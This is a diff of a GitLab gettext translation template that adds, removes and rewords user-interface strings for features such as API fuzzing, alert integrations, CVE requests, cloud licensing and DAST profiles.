+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr ""
@@ -1143,6 +1157,11 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] ""
@@ -1163,6 +1182,16 @@ msgid_plural "%d hours"
msgstr[0] ""
msgstr[1] ""
+msgid "1 issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 merged merge request"
msgid_plural "%{merge_requests} merged merge requests"
msgstr[0] ""
@@ -1173,6 +1202,11 @@ msgid_plural "%d minutes"
msgstr[0] ""
msgstr[1] ""
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 open issue"
msgid_plural "%{issues} open issues"
msgstr[0] ""
@@ -1198,6 +1232,16 @@ msgid_plural "%{num} users"
msgstr[0] ""
msgstr[1] ""
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1-9 contributions"
msgstr ""
@@ -1315,9 +1359,6 @@ msgstr ""
msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr ""
-msgid "A fork is a copy of a project."
-msgstr ""
-
msgid "A group is a collection of several projects"
msgstr ""
@@ -1327,13 +1368,10 @@ msgstr ""
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
-msgstr ""
-
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A maximum of %{count} participants can be added"
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1408,9 +1446,6 @@ msgstr ""
msgid "A title is required"
msgstr ""
-msgid "A user can only participate in a rotation once"
-msgstr ""
-
msgid "A user with write access to the source branch selected this option"
msgstr ""
@@ -1429,13 +1464,25 @@ msgstr ""
msgid "API Token"
msgstr ""
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
+msgstr ""
+
+msgid "API version"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithPassword"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|/folder/example_file.json"
+msgstr ""
+
+msgid "APIFuzzing|API Fuzzing Configuration"
+msgstr ""
+
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1447,6 +1494,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1459,16 +1509,19 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
+msgstr ""
+
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1477,16 +1530,16 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
+msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
+msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Make sure your credentials are secured"
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
-msgid "APIFuzzing|Password for basic authentication"
+msgid "APIFuzzing|Predefined profiles"
msgstr ""
msgid "APIFuzzing|Scan mode"
@@ -1519,9 +1572,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -1699,6 +1749,9 @@ msgstr ""
msgid "Account: %{account}"
msgstr ""
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr ""
@@ -1729,11 +1782,6 @@ msgstr ""
msgid "Add \"%{value}\""
msgstr ""
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
@@ -1779,6 +1827,9 @@ msgstr ""
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr ""
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr ""
@@ -1854,6 +1905,9 @@ msgstr ""
msgid "Add comment to design"
msgstr ""
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1881,9 +1935,6 @@ msgstr ""
msgid "Add image comment"
msgstr ""
-msgid "Add issues"
-msgstr ""
-
msgid "Add italic text"
msgstr ""
@@ -1911,6 +1962,9 @@ msgstr ""
msgid "Add previously merged commits"
msgstr ""
+msgid "Add projects"
+msgstr ""
+
msgid "Add reaction"
msgstr ""
@@ -1929,6 +1983,9 @@ msgstr ""
msgid "Add to Slack"
msgstr ""
+msgid "Add to board"
+msgstr ""
+
msgid "Add to epic"
msgstr ""
@@ -2022,6 +2079,9 @@ msgstr ""
msgid "Additional text"
msgstr ""
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr ""
@@ -2049,6 +2109,9 @@ msgstr ""
msgid "Admin Area"
msgstr ""
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr ""
@@ -2190,9 +2253,6 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminNote|Note"
-msgstr ""
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
@@ -2628,6 +2688,12 @@ msgstr ""
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr ""
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2675,6 +2741,9 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -2837,6 +2906,12 @@ msgstr ""
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr ""
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -2852,13 +2927,16 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr ""
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr ""
-msgid "AlertSettings|Enter integration name"
+msgid "AlertSettings|Enable integration"
msgstr ""
-msgid "AlertSettings|External Prometheus"
+msgid "AlertSettings|Enter integration name"
msgstr ""
msgid "AlertSettings|HTTP Endpoint"
@@ -2867,25 +2945,28 @@ msgstr ""
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
msgstr ""
msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Prometheus API base URL"
+msgid "AlertSettings|Prometheus"
msgstr ""
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
+msgid "AlertSettings|Prometheus API base URL"
msgstr ""
msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
@@ -2900,24 +2981,36 @@ msgstr ""
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
-msgid "AlertSettings|Sample alert payload (optional)"
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr ""
-msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgid "AlertSettings|Save & create test alert"
msgstr ""
msgid "AlertSettings|Save integration"
msgstr ""
-msgid "AlertSettings|Select integration type"
+msgid "AlertSettings|Save integration & send"
msgstr ""
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Select integration type"
msgstr ""
msgid "AlertSettings|Send test alert"
msgstr ""
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
+msgstr ""
+
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
@@ -2927,6 +3020,9 @@ msgstr ""
msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|View URL and authorization key"
+msgstr ""
+
msgid "AlertSettings|View credentials"
msgstr ""
@@ -2936,9 +3032,6 @@ msgstr ""
msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr ""
-msgid "AlertSettings|Your integration was successfully updated."
-msgstr ""
-
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
msgstr ""
@@ -2975,7 +3068,10 @@ msgstr ""
msgid "AlertsIntegrations|The integration has been successfully removed."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
msgstr ""
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
@@ -3065,9 +3161,6 @@ msgstr ""
msgid "Allow only the selected protocols to be used for Git access."
msgstr ""
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr ""
@@ -3131,6 +3224,9 @@ msgstr ""
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
+msgid "Allowed group"
+msgstr ""
+
msgid "Allowed to create:"
msgstr ""
@@ -3158,6 +3254,9 @@ msgstr ""
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr ""
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3215,6 +3314,9 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr ""
@@ -3338,6 +3440,9 @@ msgstr ""
msgid "An error occurred while fetching projects autocomplete."
msgstr ""
+msgid "An error occurred while fetching reference"
+msgstr ""
+
msgid "An error occurred while fetching sidebar data"
msgstr ""
@@ -3350,9 +3455,6 @@ msgstr ""
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
-msgid "An error occurred while fetching the builds."
-msgstr ""
-
msgid "An error occurred while fetching the job log."
msgstr ""
@@ -3443,7 +3545,7 @@ msgstr ""
msgid "An error occurred while loading the file. Please try again later."
msgstr ""
-msgid "An error occurred while loading the members, please try again."
+msgid "An error occurred while loading the file. Please try again."
msgstr ""
msgid "An error occurred while loading the merge request changes."
@@ -3581,9 +3683,6 @@ msgstr ""
msgid "An issue already exists"
msgstr ""
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
-msgstr ""
-
msgid "An issue title is required"
msgstr ""
@@ -3785,6 +3884,9 @@ msgstr ""
msgid "Approval rules reset to project defaults"
msgstr ""
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] ""
@@ -3808,6 +3910,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
msgid "ApprovalRule|Approval rules"
msgstr ""
@@ -3817,6 +3922,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr ""
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr ""
@@ -3826,9 +3934,6 @@ msgstr ""
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|e.g. QA, Security, etc."
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -3966,6 +4071,12 @@ msgid_plural "Are you sure you want to import %d repositories?"
msgstr[0] ""
msgstr[1] ""
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr ""
@@ -4026,6 +4137,12 @@ msgstr ""
msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr ""
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr ""
@@ -4068,13 +4185,13 @@ msgstr ""
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
-msgid "AsanaService|Asana - Teamwork without email"
+msgid "AsanaService|Add commit messages as comments to Asana tasks"
msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
msgstr ""
msgid "Ascending"
@@ -4501,6 +4618,9 @@ msgstr ""
msgid "Average per day: %{average}"
msgstr ""
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
msgid "Back to page %{number}"
msgstr ""
@@ -4603,6 +4723,9 @@ msgstr ""
msgid "BambooService|Atlassian Bamboo CI"
msgstr ""
+msgid "BambooService|Bamboo URL"
+msgstr ""
+
msgid "BambooService|Bamboo build plan key like KEY"
msgstr ""
@@ -4621,6 +4744,9 @@ msgstr ""
msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr ""
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
msgid "Begin with the selected commit"
msgstr ""
@@ -4645,7 +4771,7 @@ msgstr ""
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
@@ -4779,6 +4905,9 @@ msgstr[1] ""
msgid "Blocked issue"
msgstr ""
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr ""
@@ -4809,6 +4938,11 @@ msgstr ""
msgid "Boards and Board Lists"
msgstr ""
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
+msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -4818,9 +4952,6 @@ msgstr ""
msgid "Boards|An error occurred while fetching group projects. Please try again."
msgstr ""
-msgid "Boards|An error occurred while fetching issues. Please reload the page."
-msgstr ""
-
msgid "Boards|An error occurred while fetching labels. Please reload the page."
msgstr ""
@@ -4839,6 +4970,9 @@ msgstr ""
msgid "Boards|An error occurred while generating lists. Please reload the page."
msgstr ""
+msgid "Boards|An error occurred while moving the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
@@ -4848,6 +4982,11 @@ msgstr ""
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
+msgid "Boards|Blocked by %{blockedByCount} %{issuableType}"
+msgid_plural "Boards|Blocked by %{blockedByCount} %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|Board"
msgstr ""
@@ -4860,6 +4999,15 @@ msgstr ""
msgid "Boards|Expand"
msgstr ""
+msgid "Boards|Failed to fetch blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|Retrieving blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|View all blocking %{issuableType}s"
+msgstr ""
+
msgid "Boards|View scope"
msgstr ""
@@ -4890,6 +5038,9 @@ msgstr ""
msgid "Board|Load more issues"
msgstr ""
+msgid "Bold text"
+msgstr ""
+
msgid "Both project and dashboard_path are required"
msgstr ""
@@ -5196,15 +5347,6 @@ msgstr "от"
msgid "CHANGELOG"
msgstr ""
-msgid "CI / CD"
-msgstr ""
-
-msgid "CI / CD Analytics"
-msgstr ""
-
-msgid "CI / CD Settings"
-msgstr ""
-
msgid "CI Lint"
msgstr ""
@@ -5223,6 +5365,12 @@ msgstr ""
msgid "CI/CD"
msgstr ""
+msgid "CI/CD Analytics"
+msgstr ""
+
+msgid "CI/CD Settings"
+msgstr ""
+
msgid "CI/CD configuration"
msgstr ""
@@ -5312,6 +5460,27 @@ msgstr ""
msgid "CPU"
msgstr ""
+msgid "CVE|As a maintainer, requesting a CVE for a vulnerability in your project will help your users stay secure and informed."
+msgstr ""
+
+msgid "CVE|CVE ID Request"
+msgstr ""
+
+msgid "CVE|Common Vulnerability Enumeration (CVE) identifiers are used to track distinct vulnerabilities in specific versions of code."
+msgstr ""
+
+msgid "CVE|Create CVE ID Request"
+msgstr ""
+
+msgid "CVE|Enable CVE ID requests in the issue sidebar"
+msgstr ""
+
+msgid "CVE|Request CVE ID"
+msgstr ""
+
+msgid "CVE|Why Request a CVE ID?"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5408,6 +5577,9 @@ msgstr ""
msgid "Canceled deployment to"
msgstr ""
+msgid "Cancelled"
+msgstr ""
+
msgid "Cancelling Preview"
msgstr ""
@@ -5528,6 +5700,9 @@ msgstr ""
msgid "Change this value to influence how frequently the GitLab UI polls for updates."
msgstr ""
+msgid "Change this value to influence how frequently the GitLab UI polls for updates. If you set the value to 2 all polling intervals are multiplied by 2, which means that polling happens half as frequently. The multiplier can also have a decimal value. The default value (1) is a reasonable choice for the majority of GitLab installations. Set to 0 to completely disable polling."
+msgstr ""
+
msgid "Change title"
msgstr ""
@@ -5555,6 +5730,9 @@ msgstr "Подбиране"
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
+msgid "ChangeTypeAction|Pick into project"
+msgstr ""
+
msgid "ChangeTypeAction|Revert"
msgstr "ОтмÑна"
@@ -5564,12 +5742,18 @@ msgstr ""
msgid "ChangeTypeAction|Search branches"
msgstr ""
+msgid "ChangeTypeAction|Search projects"
+msgstr ""
+
msgid "ChangeTypeAction|Start a %{newMergeRequest} with these changes"
msgstr ""
msgid "ChangeTypeAction|Switch branch"
msgstr ""
+msgid "ChangeTypeAction|Switch project"
+msgstr ""
+
msgid "ChangeTypeAction|This will create a new commit in order to revert the existing changes."
msgstr ""
@@ -6212,6 +6396,9 @@ msgstr ""
msgid "Close %{tabname}"
msgstr ""
+msgid "Close design"
+msgstr ""
+
msgid "Close epic"
msgstr ""
@@ -6245,6 +6432,48 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Cloud License"
+msgstr ""
+
+msgid "CloudLicense|Activate"
+msgstr ""
+
+msgid "CloudLicense|ID"
+msgstr ""
+
+msgid "CloudLicense|Last Sync"
+msgstr ""
+
+msgid "CloudLicense|Licensed to"
+msgstr ""
+
+msgid "CloudLicense|Manage"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code below"
+msgstr ""
+
+msgid "CloudLicense|Plan"
+msgstr ""
+
+msgid "CloudLicense|Renews"
+msgstr ""
+
+msgid "CloudLicense|Started"
+msgstr ""
+
+msgid "CloudLicense|Subscription details"
+msgstr ""
+
+msgid "CloudLicense|Sync Subscription details"
+msgstr ""
+
+msgid "CloudLicense|This instance is currently using the %{planName} plan."
+msgstr ""
+
msgid "Cluster"
msgstr ""
@@ -6278,9 +6507,6 @@ msgstr ""
msgid "ClusterAgents|Configuration"
msgstr ""
-msgid "ClusterAgents|Connect your cluster with the GitLab Agent"
-msgstr ""
-
msgid "ClusterAgents|Created by"
msgstr ""
@@ -6299,12 +6525,21 @@ msgstr ""
msgid "ClusterAgents|Integrate with the GitLab Agent"
msgstr ""
+msgid "ClusterAgents|Last used"
+msgstr ""
+
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn more about installing the GitLab Agent"
+msgstr ""
+
msgid "ClusterAgents|Name"
msgstr ""
+msgid "ClusterAgents|Never"
+msgstr ""
+
msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
msgstr ""
@@ -6854,6 +7089,9 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
+msgid "ClusterIntegration|ModSecurity enabled"
+msgstr ""
+
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7561,6 +7799,9 @@ msgstr ""
msgid "Community forum"
msgstr ""
+msgid "Company"
+msgstr ""
+
msgid "Company name"
msgstr ""
@@ -7624,6 +7865,9 @@ msgstr ""
msgid "CompareRevisions|There was an error while loading the branch/tag list. Please try again."
msgstr ""
+msgid "CompareRevisions|There was an error while searching the branch/tag list. Please try again."
+msgstr ""
+
msgid "CompareRevisions|There was an error while updating the branch/tag list. Please try again."
msgstr ""
@@ -7909,6 +8153,9 @@ msgstr ""
msgid "Container does not exist"
msgstr ""
+msgid "Container must be a project or a group."
+msgstr ""
+
msgid "Container registry images"
msgstr ""
@@ -7937,9 +8184,6 @@ msgid_plural "ContainerRegistry|%{count} Tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|%{imageName} tags"
-msgstr ""
-
msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
msgstr ""
@@ -8024,6 +8268,9 @@ msgstr ""
msgid "ContainerRegistry|Docker connection error"
msgstr ""
+msgid "ContainerRegistry|Enable expiration policy"
+msgstr ""
+
msgid "ContainerRegistry|Expiration policy is disabled"
msgstr ""
@@ -8042,6 +8289,9 @@ msgstr ""
msgid "ContainerRegistry|Image repository will be deleted"
msgstr ""
+msgid "ContainerRegistry|Image repository with no name located at the project URL."
+msgstr ""
+
msgid "ContainerRegistry|Image tags"
msgstr ""
@@ -8107,6 +8357,9 @@ msgstr ""
msgid "ContainerRegistry|Remove these tags"
msgstr ""
+msgid "ContainerRegistry|Root image"
+msgstr ""
+
msgid "ContainerRegistry|Run cleanup:"
msgstr ""
@@ -8329,6 +8582,9 @@ msgstr ""
msgid "Copy %{http_label} clone URL"
msgstr ""
+msgid "Copy %{name}"
+msgstr ""
+
msgid "Copy %{protocol} clone URL"
msgstr ""
@@ -8374,9 +8630,6 @@ msgstr ""
msgid "Copy commit SHA"
msgstr ""
-msgid "Copy email address"
-msgstr ""
-
msgid "Copy environment"
msgstr ""
@@ -8434,9 +8687,18 @@ msgstr ""
msgid "CorpusManagement|Fuzz testing corpus management"
msgstr ""
+msgid "CorpusManagement|New corpus"
+msgstr ""
+
+msgid "CorpusManagement|Total Size: %{totalSize}"
+msgstr ""
+
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not apply %{name} command."
+msgstr ""
+
msgid "Could not archive %{design}. Please try again."
msgstr ""
@@ -8491,12 +8753,21 @@ msgstr ""
msgid "Could not find iteration"
msgstr ""
+msgid "Could not get the data properly"
+msgstr ""
+
msgid "Could not load the user chart. Please refresh the page to try again."
msgstr ""
msgid "Could not load usage counts. Please refresh the page to try again."
msgstr ""
+msgid "Could not remove %{user} from %{group}. Cannot remove last group owner."
+msgstr ""
+
+msgid "Could not remove %{user} from %{group}. User is not a group member."
+msgstr ""
+
msgid "Could not remove the trigger."
msgstr ""
@@ -8530,6 +8801,9 @@ msgstr ""
msgid "Could not upload your designs as one or more files uploaded are not supported."
msgstr ""
+msgid "Couldn't assign policy to project"
+msgstr ""
+
msgid "Country"
msgstr ""
@@ -8539,17 +8813,15 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
-msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
-msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Create"
msgstr ""
msgid "Create %{environment}"
msgstr ""
+msgid "Create %{humanized_resource_name}"
+msgstr ""
+
msgid "Create %{type}"
msgstr ""
@@ -8694,9 +8966,6 @@ msgstr ""
msgid "Create new file or directory"
msgstr ""
-msgid "Create new issue in Jira"
-msgstr ""
-
msgid "Create new label"
msgstr ""
@@ -8718,6 +8987,9 @@ msgstr ""
msgid "Create snippet"
msgstr ""
+msgid "Create tag %{tagName}"
+msgstr ""
+
msgid "Create wildcard: %{searchTerm}"
msgstr ""
@@ -8871,6 +9143,9 @@ msgstr ""
msgid "Created"
msgstr ""
+msgid "Created %{epicTimeagoDate}"
+msgstr ""
+
msgid "Created %{timestamp}"
msgstr ""
@@ -8934,6 +9209,9 @@ msgstr ""
msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
msgstr ""
+msgid "Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance."
+msgstr ""
+
msgid "Creation date"
msgstr ""
@@ -9236,8 +9514,10 @@ msgstr ""
msgid "CycleAnalytics|Show"
msgstr ""
-msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
-msgstr ""
+msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} label"
+msgid_plural "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
+msgstr[0] ""
+msgstr[1] ""
msgid "CycleAnalytics|Showing data for group '%{groupName}' and %{selectedProjectCount} projects from %{startDate} to %{endDate}"
msgstr ""
@@ -9332,6 +9612,9 @@ msgstr ""
msgid "DastProfiles|Authentication URL"
msgstr ""
+msgid "DastProfiles|Branch missing"
+msgstr ""
+
msgid "DastProfiles|Could not create the scanner profile. Please try again."
msgstr ""
@@ -9401,6 +9684,12 @@ msgstr ""
msgid "DastProfiles|Enable Authentication"
msgstr ""
+msgid "DastProfiles|Enter URLs in a comma-separated list."
+msgstr ""
+
+msgid "DastProfiles|Enter headers in a comma-separated list."
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -9461,6 +9750,9 @@ msgstr ""
msgid "DastProfiles|Profile name"
msgstr ""
+msgid "DastProfiles|Request header names and values. Headers are added to every request made by DAST."
+msgstr ""
